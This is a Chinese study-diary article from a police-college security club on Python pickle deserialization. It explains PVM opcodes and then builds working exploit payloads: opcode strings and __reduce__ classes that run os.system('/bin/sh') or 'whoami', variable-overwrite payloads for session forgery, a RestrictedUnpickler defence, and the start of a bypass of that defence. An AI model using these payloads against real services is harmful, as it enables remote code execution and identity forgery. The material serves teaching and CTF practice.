皮蛋厂学习日记 | 2023.4.8 fake_s0u1 python 反序列化

admin 2023年4月17日02:19:39评论9 views字数 34956阅读116分31秒阅读模式

python反序列化

文章首发于先知社区

皮蛋厂的学习日记系列为山东警察学院网安社成员日常学习分享,希望能与大家共同学习、共同进步~

python的序列化和反序列化是什么

python的序列化和反序列化 是将一个类对象向字节流转化从而进行存储 和 传输 然后使用的时候 再将字节流转化回原始的对象的一个过程

我们可以用代码 来展示出这个序列化 和反序列化 的过程

import pickle
 
class Person():
    def __init__(self):
        self.age=18
        self.name="Pickle"
 
p=Person()
opcode=pickle.dumps(p)
print(opcode)
#结果如下
#b'x80x04x957x00x00x00x00x00x00x00x8cx08__main__x94x8cx06Personx94x93x94)x81x94}x94(x8cx03agex94Kx12x8cx04namex94x8cx06Picklex94ub.'
 
 
P=pickle.loads(opcode)
print('The age is:'+str(P.age),'The name is:'+P.name)

#结果如下
#The age is:18 The name is:Pickle

pickle.dumps(obj[, protocol])

   函数的功能:将obj对象序列化为string形式,而不是存入文件中。

参数讲解:

obj:想要序列化的obj对象。
protocal:如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。

pickle.loads(string)

   函数的功能:从string中读出序列化前的obj对象。

string:文件名称。

参数讲解
【注】 dump() 与 load() 相比 dumps() 和 loads() 还有另一种能力:dump()函数能一个接着一个地将几个对象序列化存储到同一个文件中,随后调用load()来以同样的顺序反序列化读出这些对象。

pickle.load(file, *, fix_imports=True, encoding="ASCII", errors="strict")

从文件中读取二进制字节流,将其反序列化为一个对象并返回。

pickle.loads(data, *, fix_imports=True, encoding="ASCII", errors="strict")

从data中读取二进制字节流,将其反序列化为一个对象并返回。

在其中 我们可以看到 我们对象的属性 name 和 age 和我们所属的类 都已经存储在里面了 首先使用了pickle.dumps()函数将一个Person对象序列化成二进制字节流的形式。然后使用pickle.loads()将一串二进制字节流反序列化为一个Person对象。

那么反序列化的代码演示如下

import pickle
class People(object):
    def __init__(self,name = "fake_s0u1"):
        self.name = name

    def say(self):
        print "Hello ! My friends"

a=People()
c=pickle.dumps(a)
d = pickle.loads(c)
d.say()

其输出就是 hello ! my friends

我们可以看出 与php的序列化 其实是大同小异的

当我们在其反序列化之前 将people删除了 那么我们在运行的过程中就会因为对象在当前的运行环境中 没有找到这个类而报错 从而反序列化失败

能够序列化的对象

在Python的官方文档中,对于能够被序列化的对象类型有详细的描述,如下

  • NoneTrueFalse
  • 整数、浮点数、复数
  • strbytebytearray
  • 只包含可打包对象的集合,包括 tuple、list、set 和 dict
  • 定义在模块顶层的函数(使用 def 定义,[lambda]() 函数则不可以)
  • 定义在模块顶层的内置函数
  • 定义在模块顶层的类
  • 某些类实例,这些类的 dict 属性值或 [__getstate__()]() 函数的返回值可以被打包(详情参阅 打包类实例 这一段)

对于不能序列化的类型,如lambda函数,使用pickle模块时则会抛出 PicklingError`` 异常。

序列化过程:

(1)从对象提取所有属性,并将属性转化为名值对
(2)写入对象的类名
(3)写入名值对

反序列化过程:

(1)获取 pickle 输入流 (2)重建属性列表 (3)根据类名创建一个新的对象 (4)将属性复制到新的对象中

python 是如何做到序列化 和 反序列化的

几个重要函数

python为我们提供了两个比较重要的库pickle 和 cpickle 后者 是底层使用c语言书写 速度是pickle 的1000倍 但是接口相同

什么是pickle

pickle是Python中一个能够序列化和反序列化对象的模块。和其他语言类似,Python也提供了序列化和反序列化这一功能,其中一个实现模块就是pickle。在Python中,“Pickling” 是将 Python 对象及其所拥有的层次结构转化为一个二进制字节流的过程,也就是我们常说的序列化,而 “unpickling” 是相反的操作,会将字节流转化回一个对象层次结构。

当然在Python 中并不止pickle一个模块能够进行这一操作,更原始的序列化模块如marshal,同样能够完成序列化的任务,不过两者的侧重点并不相同,marshal存在主要是为了支持 Python 的.pyc文件。现在开发时一般首选pickle。

pickle实际上可以看作一种 独立的语言 ,通过对opcode的编写可以进行Python代码执行、覆盖变量等操作。直接编写的opcode灵活性比使用pickle序列化生成的代码更高,并且有的代码不能通过pickle序列化得到(pickle解析能力大于pickle生成能力)。

既然opcode能够执行Python代码,那自然就免不了安全问题。以下是Python在pickle文档中的警告。

皮蛋厂学习日记 | 2023.4.8 fake_s0u1 python 反序列化
图片-8
序列化
pickle.dump(文件) 
pickle.dumps(字符串)
image

我们可以查看他的源码 写了一个while循环 用于挨个读取字符 然后将其写到dispatch之中

反序列化
pickle.load(文件)
pickle.loads(字符串)

他的底层 是通过PVM来实现的 即为python虚拟机 它是实现python序列化 和反序列化的最根本的东西

PVM的组成

他是由三个部分组成引擎(或者叫指令分析器),栈区、还有一个 Memo (可以称为标签区)

image
引擎的作用

从头开始读取流中的操作码和参数 并对其进行解释处理 在这个过程中 会改变栈区 和标签区 直到遇到.这个结束符后停止 处理结束之后 会到达栈顶 形成并返回反序列化的对象

栈区的作用

作为流数据处理过程中的暂存区 在不断的进出过程中 完成对数据流的反序列化 并最终在栈上生成反序列化的结果 由python的list 实现

标签区的作用

如同其名 是数据的一个索引 或者 标记 由python的dict 实现 为PVM整个生命周期提供存储

皮蛋厂学习日记 | 2023.4.8 fake_s0u1 python 反序列化
此处输入图片的描述

这个图片可以比较好的解释

当前用于 pickling 的协议共有 5 种。使用的协议版本越高,读取生成的 pickle 所需的 Python 版本就要越新。

  • v0 版协议是原始的“人类可读”协议,并且向后兼容早期版本的 Python。
  • v1 版协议是较早的二进制格式,它也与早期版本的 Python 兼容。
  • v2 版协议是在 Python 2.3 中引入的。它为存储 new-style class 提供了更高效的机制。欲了解有关第 2 版协议带来的改进,请参阅 **PEP 307**。
  • v3 版协议添加于 Python 3.0。它具有对 bytes`` 对象的显式支持,且无法被 Python 2.x 打开。这是目前默认使用的协议,也是在要求与其他 Python 3 版本兼容时的推荐协议。
  • v4 版协议添加于 Python 3.4。它支持存储非常大的对象,能存储更多种类的对象,还包括一些针对数据格式的优化。有关第 4 版协议带来改进的信息,请参阅 **PEP 3154**。

pickle协议是向前兼容的 ,0号版本的字符串可以直接交给pickle.loads(),不用担心引发什么意外。下面我们以V0版本为例,介绍一下常见的opcode

注意opcode的书写规范

(1)操作码是单字节的
(2)带参数的指令用换行符定界

常用opcode几个重点关注的

MARK           = b'('   # push special markobject on stack
STOP           = b'.'   # every pickle ends with STOP
POP            = b'0'   # discard topmost stack item
POP_MARK       = b'1'   # discard stack top through topmost markobject
DUP            = b'2'   # duplicate top stack item
FLOAT          = b'F'   # push float object; decimal string argument
INT            = b'I'   # push integer or bool; decimal string argument
BININT         = b'J'   # push four-byte signed int
BININT1        = b'K'   # push 1-byte unsigned int
LONG           = b'L'   # push long; decimal string argument
BININT2        = b'M'   # push 2-byte unsigned int
NONE           = b'N'   # push None
PERSID         = b'P'   # push persistent object; id is taken from string arg
BINPERSID      = b'Q'   #  "       "         "  ;  "  "   "     "  stack
REDUCE         = b'R'   # apply callable to argtuple, both on stack
STRING         = b'S'   # push string; NL-terminated string argument
BINSTRING      = b'T'   # push string; counted binary string argument
SHORT_BINSTRING= b'U'   #  "     "   ;    "      "       "      " < 256 bytes
UNICODE        = b'V'   # push Unicode string; raw-unicode-escaped'd argument
BINUNICODE     = b'X'   #   "     "       "  ; counted UTF-8 string argument
APPEND         = b'a'   # append stack top to list below it
BUILD          = b'b'   # call __setstate__ or __dict__.update()
GLOBAL         = b'c'   # push self.find_class(modname, name); 2 string args
DICT           = b'd'   # build a dict from stack items
EMPTY_DICT     = b'}'   # push empty dict
APPENDS        = b'e'   # extend list on stack by topmost stack slice
GET            = b'g'   # push item from memo on stack; index is string arg
BINGET         = b'h'   #   "    "    "    "   "   "  ;   "    " 1-byte arg
INST           = b'i'   # build & push class instance
LONG_BINGET    = b'j'   # push item from memo on stack; index is 4-byte arg
LIST           = b'l'   # build list from topmost stack items
EMPTY_LIST     = b']'   # push empty list
OBJ            = b'o'   # build & push class instance
PUT            = b'p'   # store stack top in memo; index is string arg
BINPUT         = b'q'   #   "     "    "   "   " ;   "    " 1-byte arg
LONG_BINPUT    = b'r'   #   "     "    "   "   " ;   "    " 4-byte arg
SETITEM        = b's'   # add key+value pair to dict
TUPLE          = b't'   # build tuple from topmost stack items
EMPTY_TUPLE    = b')'   # push empty tuple
SETITEMS       = b'u'   # modify dict by adding topmost key+value pairs
BINFLOAT       = b'G'   # push float; arg is 8-byte float encoding

TRUE           = b'I01n'  # not an opcode; see INT docs in pickletools.py
FALSE          = b'I00n'  # not an opcode; see INT docs in pickletools.py

# Protocol 2

PROTO          = b'x80'  # identify pickle protocol
NEWOBJ         = b'x81'  # build object by applying cls.__new__ to argtuple
EXT1           = b'x82'  # push object from extension registry; 1-byte index
EXT2           = b'x83'  # ditto, but 2-byte index
EXT4           = b'x84'  # ditto, but 4-byte index
TUPLE1         = b'x85'  # build 1-tuple from stack top
TUPLE2         = b'x86'  # build 2-tuple from two topmost stack items
TUPLE3         = b'x87'  # build 3-tuple from three topmost stack items
NEWTRUE        = b'x88'  # push True
NEWFALSE       = b'x89'  # push False
LONG1          = b'x8a'  # push long from < 256 bytes
LONG4          = b'x8b'  # push really big long

_tuplesize2code = [EMPTY_TUPLE, TUPLE1, TUPLE2, TUPLE3]

# Protocol 3 (Python 3.x)

BINBYTES       = b'B'   # push bytes; counted binary string argument
SHORT_BINBYTES = b'C'   #  "     "   ;    "      "       "      " < 256 bytes

# Protocol 4

SHORT_BINUNICODE = b'x8c'  # push short string; UTF-8 length < 256 bytes
BINUNICODE8      = b'x8d'  # push very long string
BINBYTES8        = b'x8e'  # push very long bytes string
EMPTY_SET        = b'x8f'  # push empty set on the stack
ADDITEMS         = b'x90'  # modify set by adding topmost stack items
FROZENSET        = b'x91'  # build frozenset from topmost stack items
NEWOBJ_EX        = b'x92'  # like NEWOBJ but work with keyword only arguments
STACK_GLOBAL     = b'x93'  # same as GLOBAL but using names on the stacks
MEMOIZE          = b'x94'  # store top of the stack in memo
FRAME            = b'x95'  # indicate the beginning of a new frame

# Protocol 5

BYTEARRAY8       = b'x96'  # push bytearray
NEXT_BUFFER      = b'x97'  # push next out-of-band buffer
READONLY_BUFFER  = b'x98'  # make top of stack readonly
name op params describe e.g.
MARK ( null 向栈顶push一个MARK
STOP . null 结束
POP 0 null 丢弃栈顶第一个元素
POP_MARK 1 null 丢弃栈顶到MARK之上的第一个元素
DUP 2 null 在栈顶赋值一次栈顶元素
FLOAT F F [float] push一个float F1.0
INT I I [int] push一个integer I1
NONE N null push一个None
REDUCE R [callable] [tuple] R 调用一个callable对象 crandomnRandomn)R
STRING S S [string] push一个string S 'x'
UNICODE V V [unicode] push一个unicode string V 'x'
APPEND a [list] [obj] a 向列表append单个对象 ]I100na
BUILD b [obj] [dict] b 添加实例属性(修改__dict__ cmodulenClsn)R(I1nI2ndb
GLOBAL c c [module] [name] 调用Pickler的find_class,导入module.name并push到栈顶 cosnsystemn
DICT d MARK [[k] [v]...] d 将栈顶MARK以前的元素弹出构造dict,再push回栈顶 (I0nI1nd
EMPTY_DICT } null push一个空dict
APPENDS e [list] MARK [obj...] e 将栈顶MARK以前的元素append到前一个的list ](I0ne
GET g g [index] 从memo获取元素 g0
INST i MARK [args...] i [module] [cls] 构造一个类实例(其实等同于调用一个callable对象),内部调用了find_class (S'ls'niosnsystemn
LIST l MARK [obj] l 将栈顶MARK以前的元素弹出构造一个list,再push回栈顶 (I0nl
EMPTY_LIST ] null push一个空list
OBJ o MARK [callable] [args...] o 同INST,参数获取方式由readline变为stack.pop而已 (cosnsystemnS'ls'no
PUT p p [index] 将栈顶元素放入memo p0
SETITEM s [dict] [k] [v] s 设置dict的键值 }I0nI1ns
TUPLE t MARK [obj...] t 将栈顶MARK以前的元素弹出构造tuple,再push回栈顶 (I0nI1nt
EMPTY_TUPLE ) null push一个空tuple
SETITEMS u [dict] MARK [[k] [v]...] u 将栈顶MARK以前的元素弹出update到前一个dict }(I0nI1nu

S : 后面跟的是字符串 ( :作为命令执行到哪里的一个标记 t :将从 t 到标记的全部元素组合成一个元祖,然后放入栈中 c :定义模块名和类名(模块名和类名之间使用回车分隔) R :从栈中取出可调用函数以及元祖形式的参数来执行,并把结果放回栈中 . :点号是结束符

反序列化的流程

序列化是将一个对象 转化为字符串的过程 我们通过pickle 来实现这个过程

我们举一个栗子

opcode=cos
system
(S'/bin/sh'
tR.

我们可以借助上面的操作码 来看一下这个需要怎样来执行

第一行的c 后面是模块名 换行之后是类名 于是就将os.system放入栈中

然后的( 是标记符 我们将一个标记放入栈中

S的后面是字符串 放入栈中

t将栈中标记之前的内容取出来转化成元组 再存入栈中(’/bin/sh’,)随后 标记消失

然后 R将元组取出 并将callable取出 将元组作为callable的参数 并执行 对应这里就是os.system('/bin/sh') 然后再将结果存入栈中

但是并不是所有的对象都能使用 pickle 进行序列化和反序列化,比如说 文件对象和网络套接字对象以及代码对象就不可以

pickletools

我们可以使用 pickletools模块 将opcode转化成方便我们阅读的形式

import pickletools
 
opcode=b'''cos
system
(S'/bin/sh'
tR.'''

pickletools.dis(opcode)
'''
输出
0: c    GLOBAL     'os system'
   11: (    MARK
   12: S        STRING     '/bin/sh'
   23: t        TUPLE      (MARK at 11)
   24: R    REDUCE
   25: .    STOP
highest protocol among opcodes = 0
'''

与php反序列化的对比

相比于 PHP 反序列化必须要依赖于当前代码中类的存在以及方法的存在,Python 凭借着自己彻底的面向对象的特性完胜 PHP ,Python 除了能反序列化当前代码中出现的类(包括通过 import的方式引入的模块中的类)的对象以外,还能利用其彻底的面向对象的特性来反序列化使用 types 创建的匿名对象,这样的话就大大拓宽了我们的攻击面

手搓opcode

函数执行

R操作符

对应函数如下

    def load_reduce(self):
        stack = self.stack
        args = stack.pop()
        func = stack[-1]
        stack[-1] = func(*args)

弹出栈作为函数执行的参数 参数需要是元组形式 随后取栈中最后一个元素作为函数 将指向结果赋值给此元素

cosnsystemn

i操作符
image

读取下面两行分别为module和name 然后 利用 find_class 寻找对应的方法 pop_mark 获取参数

i操作符将寻找前面的mark来闭合 中间的数据作为元组 将其作为函数参数

(Xx06x00x00x00whoamiiosnsystemn.

X向后读取四个字符串 将我们的whoami命令压入栈中  i将向后读取 模块与方法os.system 将前面的参数执行

image

pop_mark的代码如下

先将当前栈赋值给items 然后弹出栈内元素 随后 将这个栈赋值给当前栈 返回items

image
o操作码
皮蛋厂学习日记 | 2023.4.8 fake_s0u1 python 反序列化
image

pop_mark我们上面看到了 就是可以弹出栈内的元素 这里的args就是 先弹出栈中的一个元素作为参数 然后 再弹出第一个元素作为函数

最后 使用instantiate函数进行自执行

可以如下构造

b"(cosnsystemnXx06x00x00x00whoamio."
image
b操作符
image

当栈中存在__setstate__时 会执行setstate(state) 也就是 这里我们如果自己写一个__setstate__类 构造os.system 和 whoami即可执行命令

s字符的源码 是将

image
c__main__ntestn)x81}Xx0cx00x00x00__setstate__cosnsystemnsbXx06x00x00x00whoamib.
image

首先 搞了主函数和类 __main__和test  随后 插入空元组和空字典 然后写入__setstate__ c再向后读 得到os.system 字符s将第一个元素和第二个元素作为键值对 插入到第三个元素之中{__main__.test:()},__setstate__,os.system b字符使第一个元素出栈 也就是{'__setstate__':os.system} 执行一次 setstate(state) 随后插入whoami然后弹出 执行os.system(whoami)

全局引用

import secret

class Target:
    def __init__(self):
        obj = pickle.loads(ser)  # 输入点
        if obj.pwd == secret.pwd:
            print("Hello, admin!")

在这里 我们如果要绕过此处的if判断的话 我们需要如何构造呢

我们尝试构造

import pickle
import os
import pickletools

class secret:
    pwd='123'

class Target:
    def __init__(self):
        self.pwd=secret.pwd
test = Target()
serialized = pickletools.optimize(pickle.dumps(test, protocol=0))
print(serialized)

b'ccopy_regn_reconstructorn(c__main__nTargetnc__builtin__nobjectnNtR(dVpwdnV123nsb.'
image

在这里 我们的target刚被实例化之后 pwd就被赋值了 但其实 并不知道secret中的pwd是什么

那么我们这里就需要用到 全局引用了 在opcode中是c pickle.Unpickler().find_class(module, name)

就是导入module模块 并返回其中叫name的对象 我们尝试在原有的opcode上进行修改

在上面123的地方修改 n是换行

b'ccopy_regn_reconstructorn(c__main__nTargetnc__builtin__nobjectnNtR(dVpwdncsecretnpwdnsb.'

引入魔术方法

我们随便生成一个rce的payload

cposixnsystemn(VwhoamintR.

如果R被过滤掉了 我们需要用什么来代替呢

opcode中 b的 作用是 使用栈中的第一个元素(储存多个属性名-属性值 的字典)对第二个元素(对象实例)进行属性或者方法的设置 可以设置实例的方法 那么 我们能不能设置一个方法让其在反序列化中自动运行 我们可以使用__setstate__()

当解封时,如果类定义了 __setstate__(),就会在已解封状态下调用它。此时不要求实例的 state 对象必须是 dict。没有定义此方法的话,先前封存的 state 对象必须是 dict,且该 dict 内容会在解封时赋给新实例的 __dict__

如果 __getstate__() 返回 False,那么在解封时就不会调用 __setstate__() 方法。

所以可以这么理解,pickle 时,Python 会封存该实例的 __getstate__ 方法返回给它的值;unpickle 时,Python 将 unpickle 后的值作为参数传递给实例的 _setstate_() 方法。而在 _setstate_() 方法内部,是按照事先自定义好的流程来重建实例。

实例化对象

反序列化漏洞利用

官方文档中的介绍 并没有义务 保证你传入的反序列化的函数的内容是安全的

pickletools的指令集 卡可以帮助我们更好的理解 序列化的过程

皮蛋厂学习日记 | 2023.4.8 fake_s0u1 python 反序列化
此处输入图片的描述

我们来看下面这个栗子

import pickle
import os
 
class Person():
    def __init__(self):
        self.age=18
        self.name="Pickle"
    def __reduce__(self):
        command=r"whoami"
        return (os.system,(command,))
 
p=Person()
opcode=pickle.dumps(p)
print(opcode)
 
P=pickle.loads(opcode)
print('The age is:'+str(P.age),'The name is:'+P.name)

我们在这里 在Person类中加入了__reduce__函数 该函数 能够定义该类的二进制字节流被反序列化时进行的操作 返回值是一个(callable, ([para1,para2...])[,...])类型的元组。当字节流被反序列化时,Python就会执行callable(para1,para2...)函数。因此当上述的Person对象被unpickling时,就会执行os.system(command)

执行结果:b'x80x04x95x1ex00x00x00x00x00x00x00x8cx02ntx94x8cx06systemx94x93x94x8cx06whoamix94x85x94Rx94.'
laptop-4cssbgpnzyc

RCE:常用的__reduce__

当然 我们利用的关键点 还是如何构造我们的反序列化的payload 那么 有一个__reduce__ 魔术方法 我们rce常用的就是reduce

大部分常见的pickele反序列化 都是利用的reduce

触发reduce的指令码为R

# pickletools.py 1955行
name='REDUCE',
      code='R',
      arg=None,
      stack_before=[anyobject, anyobject],
      stack_after=[anyobject],
      proto=0,
      doc="""Push an object built from a callable and an argument tuple.

      The opcode is named to remind of the __reduce__() method.

      Stack before: ... callable pytuple
      Stack after:  ... callable(*pytuple)

      The callable and the argument tuple are the first two items returned
      by a __reduce__ method.  Applying the callable to the argtuple is
      supposed to reproduce the original object, or at least get it started.
      If the __reduce__ method returns a 3-tuple, the last component is an
      argument to be passed to the object's __setstate__, and then the REDUCE
      opcode is followed by code to create setstate's argument, and then a
      BUILD opcode to apply  __setstate__ to that argument.

      If not isinstance(callable, type), REDUCE complains unless the
      callable has been registered with the copyreg module's
      safe_constructors dict, or the callable has a magic
      '__safe_for_unpickling__' attribute with a true value.  I'm not sure
      why it does this, but I've sure seen this complaint often enough when
      I didn't want to <wink>.
      """

其大意为

取当前栈的栈顶记为args 然后把他弹掉

取当前栈的栈顶记为f 然后把他弹掉

以args为参数 执行函数f 把结果压进当前栈

只要在序列化中的字符串中存在R指令,__reduce__方法就会被执行,无论正常程序中是否写明了__reduce__方法

#coding=utf-8
import pickle
import urllib.request
#python2
#import urllib
import base64

class rayi(object):
 def __reduce__(self):
  # 未导入os模块,通用
  return (__import__('os').system, ("whoami",))
  # return eval,("__import__('os').system('whoami')",)
  # return map, (__import__('os').system, ('whoami',))
  # return map, (__import__('os').system, ['whoami'])
 
  # 导入os模块
  # return (os.system, ('whoami',))
  # return eval, ("os.system('whoami')",)
  # return map, (os.system, ('whoami',))
  # return map, (os.system, ['whoami'])
 
a_class = rayi()
result = pickle.dumps(a_class)
print(result)
print(base64.b64encode(result))
#python3
print(urllib.request.quote(result))
#python2
#print urllib.quote(result)

把生成的payload拿到无__reduce__的正常程序中,命令仍然会被执行

在上面 我们已经提到了reduce的任意执行命令  但是 这种方法 一次只能执行一个命令 如果 我们想要一次执行多个命令 那么我们就要通过手写opcode的方式 来实现了

在opcode中.时程序结束的标志 我们可以通过去掉.来将两个字节流拼接起来

import pickle

opcode = b'''cos
system
(S'whoami'
tRcos
system
(S'whoami'
tR.'''

pickle.loads(opcode)
'''回显
laptop-4cssbgpnzyc
laptop-4cssbgpnzyc
'''

当然 在pickle中 和函数执行的字节码有三个 R i o 所以 我们可以从三个方向构造payload

  • R
opcode1=b'''cos
system(S'whoami'
tR.'''
   
  • i:相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)
opcode2=b'''(S'whoami'
ios
system
.'''
   
  • o:寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)
opcode3=b'''(cos
system
S'whoami'
o.'''

注意

部分Linux系统下和Windows下的opcode字节流并不兼容,比如Windows下执行系统命令函数为os.system(),在部分Linux下则为posix.system()

并且pickle.loads会解决import 问题,对于未引入的module会自动尝试import。也就是说整个python标准库的代码执行、命令执行函数我们都可以使用。

全局变量包含覆盖:c指令码

name='GLOBAL',
      code='c',
      arg=stringnl_noescape_pair,
      stack_before=[],
      stack_after=[anyobject],
      proto=0,
      doc="""Push a global object (module.attr) on the stack.

      Two newline-terminated strings follow the GLOBAL opcode.  The first is
      taken as a module name, and the second as a class name.  The class
      object module.class is pushed on the stack.  More accurately, the
      object returned by self.find_class(module, class) is pushed on the
      stack, so unpickling subclasses can override this form of lookup.
      """

简单来说 c指令码就是可以用来调用全局的值

一个小例子

import secret
import pickle
import pickletools

class flag():
    def __init__(self,a,b):
        self.a = a
        self.b = b
# new_flag = pickle.dumps(flag('A','B'),protocol=3)
# print(new_flag)
# pickletools.dis(new_flag)

your_payload = b'?'
other_flag = pickle.loads(your_payload)
secret_flag = flag(secret.a,secret.b)

if other_flag.a == secret_flag.a and other_flag.b == secret_flag.b:
    print('flag{xxxxxx}')
else:
    print('No!')
    
# secret.py
# you can not see this
a = 'aaaa'
b = 'bbbb'

其中 当我们的other_flag.a == secret_flag.a and other_flag.b == secret_flag.b: 才满足条件 回输出flag 但是 我们此时 是不知道secret中的值的 那么我们怎么样 才能构造payload 拿到flag呢

我们可以看一下一般情况下的flag类

b'x80x03c__main__nflagnqx00)x81qx01}qx02(Xx01x00x00x00aqx03Xx01x00x00x00Aqx04Xx01x00x00x00bqx05Xx01x00x00x00Bqx06ub.'
    0: x80 PROTO      3
    2: c    GLOBAL     '__main__ flag'
   17: q    BINPUT     0
   19: )    EMPTY_TUPLE
   20: x81 NEWOBJ
   21: q    BINPUT     1
   23: }    EMPTY_DICT
   24: q    BINPUT     2
   26: (    MARK
   27: X        BINUNICODE 'a'
   33: q        BINPUT     3
   35: X        BINUNICODE 'A'
   41: q        BINPUT     4
   43: X        BINUNICODE 'b'
   49: q        BINPUT     5
   51: X        BINUNICODE 'B'
   57: q        BINPUT     6
   59: u        SETITEMS   (MARK at 26)
   60: b    BUILD
   61: .    STOP
highest protocol among opcodes = 2

如果 我们在其中传参的地方 修改一下payload 将a 与 b的传参值改为secret.a secret.b

是不是就可以成功调用其中的值了呢

在session或token中,由于需要存储一些用户信息,所以我们常常能够看见pickle的身影。程序会将用户的各种信息序列化并存储在session或token中,以此来验证用户的身份。

假如session或token是以明文的方式进行存储的,我们就有可能通过变量覆盖的方式进行身份伪造。

eg.

#secret.py
secret="This is a key"
import pickle
import secret
 
print("secret变量的值为:"+secret.secret)
 
opcode=b'''c__main__
secret
(S'secret'
S'Hack!!!'
db.'''

fake=pickle.loads(opcode)
 
print("secret变量的值为:"+fake.secret)
 
'''
secret变量的值为:This is a key
secret变量的值为:Hack!!!
'''

我们首先通过 c 来获取到__main__.secret模块 然后将字符串secret 和 hack压入栈中 然后d字节码将两个字符串组合成字典{'secret':'Hack!!!'}的形式 由于 在pickle中 反序列化后的数据 会以键值对的形式存储 所以secret模块中的变量secret="This is a key" 是以上面的键值对的形式存储的 然后再通过字节码b来执行__dict__.update() 也就是 {'secret':'This is a key'}.update({'secret':'Hack!!!'}),因此最终secret变量的值被覆盖成了Hack!!!

build指令

name='BUILD',
      code='b',
      arg=None,
      stack_before=[anyobject, anyobject],
      stack_after=[anyobject],
      proto=0,
      doc="""Finish building an object, via __setstate__ or dict update.

      Stack before: ... anyobject argument
      Stack after:  ... anyobject

      where anyobject may have been mutated, as follows:

      If the object has a __setstate__ method,

          anyobject.__setstate__(argument)

      is called.

      Else the argument must be a dict, the object must have a __dict__, and
      the object is updated via

          anyobject.__dict__.update(argument)

通过build指令与c指令的结合 我们可以改写os.system 或其他函数 假设某个类原先没有

实例化对象

实例化对象 也是 一种特殊的函数执行 我们同样 可以通过手写opcode的方式 来构造

import pickle
import pickletools
 
class Person:
    def __init__(self,age,name):
        self.age=age
        self.name=name
 
 
opcode=b'''c__main__
Person
(I18
S'Pickle'
tR.'''

 
p=pickle.loads(opcode)
print(p)
print(p.age,p.name)
pickletools.dis(opcode)
'''<__main__.Person object at 0x0000022D195592D0>
18 Pickle
    0: c    GLOBAL     '__main__ Person'
   17: (    MARK
   18: I        INT        18
   22: S        STRING     'Pickle'
   32: t        TUPLE      (MARK at 17)
   33: R    REDUCE
   34: .    STOP
highest protocol among opcodes = 0
'''

以上就相当于 手动执行了构造函数 Person(18,'Pickle')

Pker工具

这是一个 可以遍历Python AST的形式 来自动化解析 pickle opcode的工具

Pker可以做到什么

  • 变量赋值:存到memo中,保存memo下标和变量名即可
  • 函数调用
  • 类型字面量构造
  • list和dict成员修改
  • 对象成员变量修改

使用方法与实例

pker最主要的有三个函数GLOBAL()INST()OBJ()

GLOBAL('os''system')             =>  cosnsystemn
INST('os''system''ls')         =>  (S'ls'niosnsystemn
OBJ(GLOBAL('os''system'), 'ls')  =>  (cosnsystemnS'ls'no   

return可以返回一个对象

return           =>  .
return var       =>  g_n.
return 1         =>  I1n.   

当然你也可以和Python的正常语法结合起来,下面是使用示例

#pker_test.py
 
i = 0
s = 'id'
lst = [i]
tpl = (0,)
dct = {tpl: 0}
system = GLOBAL('os''system')
system(s)
return
#命令行下
$ python3 pker.py < pker_tests.py
 
b"I0np0n0S'id'np1n0(g0nlp2n0(I0ntp3n0(g3nI0ndp4n0cosnsystemnp5n0g5n(g1ntR."

自动解析并生成了我们所需的opcode。

防御与限制

关于这个漏洞 其实 在官方的文档中 就有介绍 不要unpickle来自于不受信任 或 未经验证的来源的数据 我们在这里再介绍一种方法 通过重写Unpickler.find_class() 来限制全局变量

import builtins
import io
import pickle
 
safe_builtins = {
    'range',
    'complex',
    'set',
    'frozenset',
    'slice',
}
 
class RestrictedUnpickler(pickle.Unpickler):
 
    #重写了find_class方法
    def find_class(self, module, name):
        # Only allow safe classes from builtins.
        if module == "builtins" and name in safe_builtins:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))
 
def restricted_loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()
 
opcode=b"cosnsystemn(S'echo hello world'ntR."
restricted_loads(opcode)
 
 
###结果如下
Traceback (most recent call last):
...
_pickle.UnpicklingError: global 'os.system' is forbidden

此处通过重写该方法 限制调用模块只能为builtins 而且 函数必须在白名单中 否则抛出异常 这种方式 限制了调用的模块函数 都在白名单内 就保证了unpickle的安全性

绕过RestrictedUnpickler限制

想要绕过find_class 我们就需要了解其 何时被调用

出于这样的理由,你可能会希望通过定制 Unpickler.find_class() 来控制要解封的对象。 与其名称所提示的不同, Unpickler.find_class() 会在执行对任何全局对象(例如一个类或一个函数)的请求时被调用 。 因此可以完全禁止全局对象或是将它们限制在一个安全的子集中。

  1. 在opcode中 c i  x93 这三个字节码与全局对象有关 当出现这三个字节码的时候 会调用find_class 当我们使用这三个字节码时不违反其限制即可
  2. find_class() 只会在解析opcode的时候调用一次 所以 只要绕过opcode执行的过程  find_class() 就不会再调用 只需要过一次 通过之后再产生的函数即使在黑名单中 也不会被拦截

绕过builtins

在一些栗子中 我们常常会见到module=="builtins" 这一限制

if module == "builtins" and name in safe_builtins:
            return getattr(builtins, name)

buiitins模块 在我们学习ssti的时候 也会经常见到 他就是 当我们启动python之后 即使没有创建任何的变量或者 函数 还是会有很多函数可以调用 即内置函数 内置函数 都是包含在builtins模块内的

eg.import pickle
import io
import builtins
 
class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval''exec''execfile''compile''open''input''__import__''exit'}
 
    def find_class(self, module, name):
        # Only allow safe classes from builtins.
        if module == "builtins" and name not in self.blacklist:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))
 
def restricted_loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()

以上的代码 限制了我们所使用的模块只能是builtins 而且 不能使用黑名单中的函数

思路一

我们可以借鉴python沙箱逃逸的思路 来获取我们想要的函数 以上的代码并没有禁用getattr() 此函数 可以获取对象的属性值 因此 我们可以通过 builtins.getattr(builtins.'eval') 来获取eval函数

image

接下来 我们得构造一个builtins模块 来传给getattr的第一个参数 我们可以使用 builtins.global()函数 来获取builtins模块包含的内容

import builtins
print(builtins.globals())
#{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'builtins': <module 'builtins' (built-in)>}

